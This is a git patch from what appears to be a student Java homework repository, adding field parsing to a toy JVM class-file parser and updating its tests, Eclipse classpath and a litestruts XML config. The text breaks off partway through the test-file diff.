Date: Sun, 16 Apr 2017 22:43:20 +0800
Subject: [PATCH 087/262] field finish

---
 group06/1454385822/.classpath                 |  24 +-
 .../basic/homework_02/litestruts/struts.xml   |  22 +-
 .../basic/homework_04/jvm/clz/ClassFile.java  | 226 +++----
 .../homework_04/jvm/clz/ClassFileParser.java  | 216 +++----
 .../jvm/test/ClassFileloaderTest.java         | 550 +++++++++---------
 5 files changed, 536 insertions(+), 502 deletions(-)

diff --git a/group06/1454385822/.classpath b/group06/1454385822/.classpath
index 2d8e27c1f2..6e5d5ec9db 100644
--- a/group06/1454385822/.classpath
+++ b/group06/1454385822/.classpath
@@ -1,12 +1,12 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<classpath>
-	<classpathentry kind="src" path="src"/>
-	<classpathentry kind="con" path="org.eclipse.jdt.junit.JUNIT_CONTAINER/4"/>
-	<classpathentry kind="lib" path="C:/Users/yanght/Downloads/dom4j-1.6.1.jar"/>
-	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.8">
-		<attributes>
-			<attribute name="owner.project.facets" value="java"/>
-		</attributes>
-	</classpathentry>
-	<classpathentry kind="output" path="bin"/>
-</classpath>
+<?xml version="1.0" encoding="UTF-8"?>
+<classpath>
+	<classpathentry kind="src" path="src"/>
+	<classpathentry kind="con" path="org.eclipse.jdt.junit.JUNIT_CONTAINER/4"/>
+	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.8">
+		<attributes>
+			<attribute name="owner.project.facets" value="java"/>
+		</attributes>
+	</classpathentry>
+	<classpathentry kind="lib" path="C:/Users/15636/.m2/repository/dom4j/dom4j/1.6.1/dom4j-1.6.1.jar"/>
+	<classpathentry kind="output" path="bin"/>
+</classpath>
diff --git a/group06/1454385822/src/com/coding/basic/homework_02/litestruts/struts.xml b/group06/1454385822/src/com/coding/basic/homework_02/litestruts/struts.xml
index 53f1245121..1fc9e357bf 100644
--- a/group06/1454385822/src/com/coding/basic/homework_02/litestruts/struts.xml
+++ b/group06/1454385822/src/com/coding/basic/homework_02/litestruts/struts.xml
@@ -1,11 +1,13 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<struts>
-    <action name="login" class="com.coding.basic.homework_02.litestruts.LoginAction">
-        <result name="success">/jsp/homepage.jsp</result>
-        <result name="fail">/jsp/showLogin.jsp</result>
-    </action>
-    <action name="logout" class="com.coding.basic.homework_02.litestruts.LogoutAction">
-    	<result name = "success">/jsp/welcome.jsp</result>
-    	<result name = "error">/jsp/error.jsp</result>
-    </action>
+<?xml version="1.0" encoding="UTF-8"?>
+<struts>
+	<action name="login"
+		class="com.coding.basic.homework_02.litestruts.LoginAction">
+		<result name="success">/jsp/homepage.jsp</result>
+		<result name="fail">/jsp/showLogin.jsp</result>
+	</action>
+	<action name="logout"
+		class="com.coding.basic.homework_02.litestruts.LogoutAction">
+		<result name="success">/jsp/welcome.jsp</result>
+		<result name="error">/jsp/error.jsp</result>
+	</action>
 </struts>
\ No newline at end of file
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFile.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFile.java
index 05e6e579b2..9273df7cca 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFile.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFile.java
@@ -1,107 +1,119 @@
-package com.coding.basic.homework_04.jvm.clz;
-
-import com.coding.basic.homework_04.jvm.attr.AccessFlag;
-import com.coding.basic.homework_04.jvm.constant.ConstantPool;
-
-public class ClassFile {
-
-	private String MagicNumber;
-	
-	private int minorVersion;
-	private int majorVersion;
-	private ConstantPool constantPool;
-	private int ConstantNum;
-	private ClassIndex clzIndex;
-	
-	private AccessFlag accessFlag;
-	
-	
-	
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-
-
-
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-
-
-
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-
-
-
-	public void setClzIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;
-	}
-
-
-
-	public int getConstantNum() {
-		return ConstantNum;
-	}
-
-
-
-	public void setConstantNum(int constantNum) {
-		ConstantNum = constantNum;
-	}
-
-
-
-	public void print() {
-		System.out.println("MagicNumber: "+ MagicNumber);
-		System.out.println( "minorVersion" +minorVersion);
-		System.out.println("majorVersion" + majorVersion);
-		
-	}
-	
-	
-
-	public String getMagicNumber() {
-		return MagicNumber;
-	}
-
-
-
-	public void setMagicNumber(String magicNumber) {
-		MagicNumber = magicNumber;
-	}
-
-
-
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-
-
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-
-
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-
-
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-
-
-	public ConstantPool getConstantPool() {
-		return constantPool;
-	}
-
-
-	public void setConstantPool(ConstantPool constantPool) {
-		this.constantPool = constantPool;
-	}
-
-	
-}
+package com.coding.basic.homework_04.jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coding.basic.homework_04.jvm.attr.AccessFlag;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+import com.coding.basic.homework_04.jvm.field.Field;
+
+public class ClassFile {
+
+	private String MagicNumber;	
+	private int minorVersion;
+	private int majorVersion;
+	private int ConstantNum;
+	
+	private ConstantPool constantPool;
+	private ClassIndex clzIndex;
+	private AccessFlag accessFlag;
+	private List<Field> fields = new ArrayList<Field>();
+	
+	public void addField(Field field){
+		fields.add(field);
+	}
+	
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+
+
+
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+
+
+
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+
+
+
+	public void setClzIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;
+	}
+
+
+
+	public int getConstantNum() {
+		return ConstantNum;
+	}
+
+
+
+	public void setConstantNum(int constantNum) {
+		ConstantNum = constantNum;
+	}
+
+
+
+	public void print() {
+		System.out.println("MagicNumber: "+ MagicNumber);
+		System.out.println( "minorVersion" +minorVersion);
+		System.out.println("majorVersion" + majorVersion);
+		
+	}
+	
+	
+
+	public String getMagicNumber() {
+		return MagicNumber;
+	}
+
+
+
+	public void setMagicNumber(String magicNumber) {
+		MagicNumber = magicNumber;
+	}
+
+
+
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+
+
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+
+
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+
+
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+
+
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+
+
+	public void setConstantPool(ConstantPool constantPool) {
+		this.constantPool = constantPool;
+	}
+
+
+
+	public List<Field> getFields() {
+		return fields;
+	}
+
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFileParser.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFileParser.java
index ce1853b454..794a7d82d8 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFileParser.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFileParser.java
@@ -1,99 +1,117 @@
-package com.coding.basic.homework_04.jvm.clz;
-
-import java.io.UnsupportedEncodingException;
-
-import com.coding.basic.homework_04.jvm.attr.AccessFlag;
-import com.coding.basic.homework_04.jvm.constant.ConstantPool;
-import com.coding.basic.homework_04.jvm.info.ClassInfo;
-import com.coding.basic.homework_04.jvm.info.FieldRefInfo;
-import com.coding.basic.homework_04.jvm.info.MethodRefInfo;
-import com.coding.basic.homework_04.jvm.info.NameAndTypeInfo;
-import com.coding.basic.homework_04.jvm.info.NullConstantInfo;
-import com.coding.basic.homework_04.jvm.info.StringInfo;
-import com.coding.basic.homework_04.jvm.info.UTF8Info;
-import com.coding.basic.homework_04.jvm.util.ByteCodeIterator;
-
-public class ClassFileParser {
-
-	private ClassFile classFile;
-	
-	private ConstantPool pool;
-	
-	public ClassFile parser(byte[] codes) {
-		ByteCodeIterator iterator = new ByteCodeIterator(codes);
-		classFile = new ClassFile();
-		classFile.setMagicNumber(iterator.nextU4ToHexString());
-		classFile.setMinorVersion(iterator.nextU2ToInt());
-		classFile.setMajorVersion(iterator.nextU2ToInt());
-		classFile.setConstantNum(iterator.nextU2ToInt());
-		
-		System.out.println("Constant Pool Count :" + classFile.getConstantNum());
-		
-		try {
-			classFile.setConstantPool(parserConstantPool(iterator));
-		} catch (UnsupportedEncodingException e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-		}
-
-		classFile.setAccessFlag(new AccessFlag(iterator.nextU2ToInt()));
-		
-		ClassIndex clzIndex = new ClassIndex();
-		clzIndex.setThisClassIndex(iterator.nextU2ToInt());
-		clzIndex.setSuperClassIndex(iterator.nextU2ToInt());
-		
-		classFile.setClzIndex(clzIndex);
-		
-		return classFile;
-	}
-
-	private ConstantPool parserConstantPool(ByteCodeIterator iterator) throws UnsupportedEncodingException{
-		pool = new ConstantPool();
-		
-		
-		pool.addConstantInfo(new NullConstantInfo());
-		for(int i=1; i <= classFile.getConstantNum() - 1; i++){
-			int tag = iterator.nextU1toInt();
-			
-			if(tag == 7){ //class info
-				ClassInfo clzInfo = new ClassInfo(pool);
-				clzInfo.setUtf8Index(iterator.nextU2ToInt());
-				pool.addConstantInfo(clzInfo);
-			}else if(tag == 1){ //utf8 info
-				UTF8Info utf8Info = new UTF8Info(pool);
-				utf8Info.setLength(iterator.nextU2ToInt());
-				String string  = iterator.nextUxToHexString(utf8Info.getLength());
-				utf8Info.setValue(string);
-//				System.out.println(utf8Info.toString());
-				
-				pool.addConstantInfo(utf8Info);
-			}else if(tag == 8){ //String info
-				StringInfo stringInfo = new StringInfo(pool);
-				stringInfo.setString_index(iterator.nextU2ToInt());
-				pool.addConstantInfo(stringInfo);
-			}else if(tag == 9){ //FieldRef info
-				FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
-				fieldRefInfo.setClz_index(iterator.nextU2ToInt());
-				fieldRefInfo.setNameAndType_index(iterator.nextU2ToInt());
-				pool.addConstantInfo(fieldRefInfo);
-			}else if(tag == 10){ //MethodRef info
-				MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
-				methodRefInfo.setClass_index(iterator.nextU2ToInt());
-				methodRefInfo.setNameAndType_index(iterator.nextU2ToInt());
-				pool.addConstantInfo(methodRefInfo);
-			}else if(tag == 12){ //NameAndType info
-				NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
-				nameAndTypeInfo.setClz_index(iterator.nextU2ToInt());
-				nameAndTypeInfo.setDescriptor_index(iterator.nextU2ToInt());
-				pool.addConstantInfo(nameAndTypeInfo);
-			}else{
-				throw new RuntimeException("this tag" + tag+"has no already implement yet!!");
-			}
-		}
-		System.out.println("pool size:" +pool.getSize());
-		
-		System.out.println("finished parser constantPool!!");
-		return pool;
-	}
-	
-}
+package com.coding.basic.homework_04.jvm.clz;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coding.basic.homework_04.jvm.attr.AccessFlag;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+import com.coding.basic.homework_04.jvm.field.Field;
+import com.coding.basic.homework_04.jvm.info.ClassInfo;
+import com.coding.basic.homework_04.jvm.info.FieldRefInfo;
+import com.coding.basic.homework_04.jvm.info.MethodRefInfo;
+import com.coding.basic.homework_04.jvm.info.NameAndTypeInfo;
+import com.coding.basic.homework_04.jvm.info.NullConstantInfo;
+import com.coding.basic.homework_04.jvm.info.StringInfo;
+import com.coding.basic.homework_04.jvm.info.UTF8Info;
+import com.coding.basic.homework_04.jvm.util.ByteCodeIterator;
+
+public class ClassFileParser {
+
+	private ClassFile classFile;
+	
+	private ConstantPool pool;
+	
+	public ClassFile parser(byte[] codes) {
+		ByteCodeIterator iterator = new ByteCodeIterator(codes);
+		classFile = new ClassFile();
+		classFile.setMagicNumber(iterator.nextU4ToHexString());
+		classFile.setMinorVersion(iterator.nextU2ToInt());
+		classFile.setMajorVersion(iterator.nextU2ToInt());
+		classFile.setConstantNum(iterator.nextU2ToInt());
+		
+		System.out.println("Constant Pool Count :" + classFile.getConstantNum());
+		
+		try {
+			classFile.setConstantPool(parserConstantPool(iterator));
+		} catch (UnsupportedEncodingException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+
+		classFile.setAccessFlag(new AccessFlag(iterator.nextU2ToInt()));
+		
+		ClassIndex clzIndex = new ClassIndex();
+		clzIndex.setThisClassIndex(iterator.nextU2ToInt());
+		clzIndex.setSuperClassIndex(iterator.nextU2ToInt());
+		
+		classFile.setClzIndex(clzIndex);
+		parseInterface(iterator);
+		
+		parseField(classFile, iterator);
+		
+		return classFile;
+	}
+
+	private void parseField(ClassFile clzFile, ByteCodeIterator iterator) {
+		int fieldCount = iterator.nextU2ToInt();
+		for(int i=0; i<fieldCount; i++){
+			Field field = Field.parse(clzFile.getConstantPool(), iterator);
+			clzFile.addField(field);
+		}
+	}
+
+	private void parseInterface(ByteCodeIterator iterator) {
+		int count = iterator.nextU2ToInt();
+		System.out.println("interface count:" + count);
+		//TODO 如果类中有接口，这里需要解析
+	}
+
+	private ConstantPool parserConstantPool(ByteCodeIterator iterator) throws UnsupportedEncodingException{
+		pool = new ConstantPool();
+		
+		
+		pool.addConstantInfo(new NullConstantInfo());
+		for(int i=1; i <= classFile.getConstantNum() - 1; i++){
+			int tag = iterator.nextU1toInt();
+			
+			if(tag == 7){ //class info
+				ClassInfo clzInfo = new ClassInfo(pool);
+				clzInfo.setUtf8Index(iterator.nextU2ToInt());
+				pool.addConstantInfo(clzInfo);
+			}else if(tag == 1){ //utf8 info
+				UTF8Info utf8Info = new UTF8Info(pool);
+				utf8Info.setLength(iterator.nextU2ToInt());
+				String string  = iterator.nextUxToHexString(utf8Info.getLength());
+				utf8Info.setValue(string);
+//				System.out.println(utf8Info.toString());
+				
+				pool.addConstantInfo(utf8Info);
+			}else if(tag == 8){ //String info
+				StringInfo stringInfo = new StringInfo(pool);
+				stringInfo.setString_index(iterator.nextU2ToInt());
+				pool.addConstantInfo(stringInfo);
+			}else if(tag == 9){ //FieldRef info
+				FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
+				fieldRefInfo.setClz_index(iterator.nextU2ToInt());
+				fieldRefInfo.setNameAndType_index(iterator.nextU2ToInt());
+				pool.addConstantInfo(fieldRefInfo);
+			}else if(tag == 10){ //MethodRef info
+				MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
+				methodRefInfo.setClass_index(iterator.nextU2ToInt());
+				methodRefInfo.setNameAndType_index(iterator.nextU2ToInt());
+				pool.addConstantInfo(methodRefInfo);
+			}else if(tag == 12){ //NameAndType info
+				NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
+				nameAndTypeInfo.setClz_index(iterator.nextU2ToInt());
+				nameAndTypeInfo.setDescriptor_index(iterator.nextU2ToInt());
+				pool.addConstantInfo(nameAndTypeInfo);
+			}else{
+				throw new RuntimeException("this tag" + tag+"has no already implement yet!!");
+			}
+		}
+		System.out.println("pool size:" +pool.getSize());
+		
+		System.out.println("finished parser constantPool!!");
+		return pool;
+	}
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/test/ClassFileloaderTest.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/test/ClassFileloaderTest.java
index c419db3033..dead6bbad5 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/test/ClassFileloaderTest.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/test/ClassFileloaderTest.java
@@ -1,275 +1,277 @@
-package com.coding.basic.homework_04.jvm.test;
-
-import java.util.List;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coding.basic.homework_04.jvm.clz.ClassFile;
-import com.coding.basic.homework_04.jvm.clz.ClassIndex;
-import com.coding.basic.homework_04.jvm.constant.ConstantPool;
-import com.coding.basic.homework_04.jvm.info.ClassInfo;
-import com.coding.basic.homework_04.jvm.info.MethodRefInfo;
-import com.coding.basic.homework_04.jvm.info.NameAndTypeInfo;
-import com.coding.basic.homework_04.jvm.info.UTF8Info;
-import com.coding.basic.homework_04.jvm.loader.ClassFileLoader;
-
-
-
-public class ClassFileloaderTest {
-
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	
-	static String path1 = "C:\\Users\\yanght\\Documents\\mygit\\coding2017-1\\group06\\1454385822\\bin";
-	static String path2 = "D:\temp";
-	static ClassFile clzFile = null;
-	static {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coding.basic.homework_04.jvm.test.EmployeeV2";
-		
-		clzFile = loader.loadClass(className);
-		clzFile.print();
-	}
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coding.basic.homework_04.jvm.test.EmployeeV2";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coding.basic.homework_04.jvm.test.EmployeeV2";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-    
-    
-    
-	private String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-
-
-    
-    /**
-     * ----------------------------------------------------------------------
-     */
-    
-    
-    @Test
-    public void testVersion(){    			
-		
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(52, clzFile.getMajorVersion());
-		
-    }
-    
-    @Test
-    public void testConstantPool(){
-    	
-
-		ConstantPool pool = clzFile.getConstantPool();
-		
-		Assert.assertEquals(53, pool.getSize());
-	
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-			Assert.assertEquals(2, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-		}
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-			Assert.assertEquals(4, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-		}
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-			Assert.assertEquals("name", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-			Assert.assertEquals("age", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-			Assert.assertEquals("I", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-			Assert.assertEquals("<init>", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-			Assert.assertEquals("Code", utf8Info.getValue());
-		}
-		
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-			Assert.assertEquals(3, methodRef.getClass_index());
-			Assert.assertEquals(13, methodRef.getNameAndType_index());
-		}
-		
-		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getClz_index());
-			Assert.assertEquals(14, nameAndType.getDescriptor_index());
-		}
-		//抽查几个吧
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-			Assert.assertEquals(1, methodRef.getClass_index());
-			Assert.assertEquals(46, methodRef.getNameAndType_index());
-		}
-		
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-		}
-    }
-    @Test
-    public void testClassIndex(){
-    	
-    	ClassIndex clzIndex = clzFile.getClzIndex();
-    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-    	
-    	
-    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-
-    /**
-     * 下面是第三次JVM课应实现的测试用例
-     */
-    //@Test
-//    public void testReadFields(){
-//   
-//    	List<Field> fields = clzFile.getFields();
-//    	Assert.assertEquals(2, fields.size());
-//    	{
-//    		Field f = fields.get(0);
-//    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-//    	}
-//    	{
-//    		Field f = fields.get(1);
-//    		Assert.assertEquals("age:I", f.toString());
-//    	}
-//    }
-//    //@Test
-//    public void testMethods(){
-//   
-//    	List<Method> methods = clzFile.getMethods();
-//    	ConstantPool pool = clzFile.getConstantPool();
-//    	
-//    	{
-//    		Method m = methods.get(0);    		
-//    		assertMethodEquals(pool,m,
-//    				"<init>",
-//    				"(Ljava/lang/String;I)V",
-//    				"2ab7000c2a2bb5000f2a1cb50011b1");
-//    		
-//    	}
-//    	{
-//    		Method m = methods.get(1);    
-//    		assertMethodEquals(pool,m,
-//    				"setName",
-//    				"(Ljava/lang/String;)V",
-//    				"2a2bb5000fb1");
-//    		
-//    	}
-//    	{
-//    		Method m = methods.get(2);    
-//    		assertMethodEquals(pool,m,
-//    				"setAge",
-//    				"(I)V",
-//    				"2a1bb50011b1");
-//    	}
-//    	{
-//    		Method m = methods.get(3); 
-//    		assertMethodEquals(pool,m,
-//    				"sayHello",
-//    				"()V",
-//    				"b2001c1222b60024b1");
-//    		
-//    	}
-//    	{
-//    		Method m = methods.get(4);    
-//    		assertMethodEquals(pool,m,
-//    				"main",
-//    				"([Ljava/lang/String;)V",
-//    				"bb000159122b101db7002d4c2bb6002fb1");
-//    	}
-//    }
-//    
-//    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-//    	String methodName = pool.getUTF8String(m.getNameIndex());
-//		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
-//		String code = m.getCodeAttr().getCode();
-//		Assert.assertEquals(expectedName, methodName);
-//		Assert.assertEquals(expectedDesc, methodDesc);
-//		Assert.assertEquals(expectedCode, code);
-//    }
-   
-
+package com.coding.basic.homework_04.jvm.test;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+import com.coding.basic.homework_04.jvm.clz.ClassIndex;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+import com.coding.basic.homework_04.jvm.field.Field;
+import com.coding.basic.homework_04.jvm.info.ClassInfo;
+import com.coding.basic.homework_04.jvm.info.MethodRefInfo;
+import com.coding.basic.homework_04.jvm.info.NameAndTypeInfo;
+import com.coding.basic.homework_04.jvm.info.UTF8Info;
+import com.coding.basic.homework_04.jvm.loader.ClassFileLoader;
+
+
+
+public class ClassFileloaderTest {
+
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "D:\\mygit\\coding2017-1\\group06\\1454385822\\bin";
+//	static String path1 = "C:\\Users\\yanght\\Documents\\mygit\\coding2017-1\\group06\\1454385822\\bin";
+	static String path2 = "D:\temp";
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coding.basic.homework_04.jvm.test.EmployeeV2";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coding.basic.homework_04.jvm.test.EmployeeV2";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coding.basic.homework_04.jvm.test.EmployeeV2";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+    
+    
+    
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
+
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClass_index());
+			Assert.assertEquals(13, methodRef.getNameAndType_index());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getClz_index());
+			Assert.assertEquals(14, nameAndType.getDescriptor_index());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClass_index());
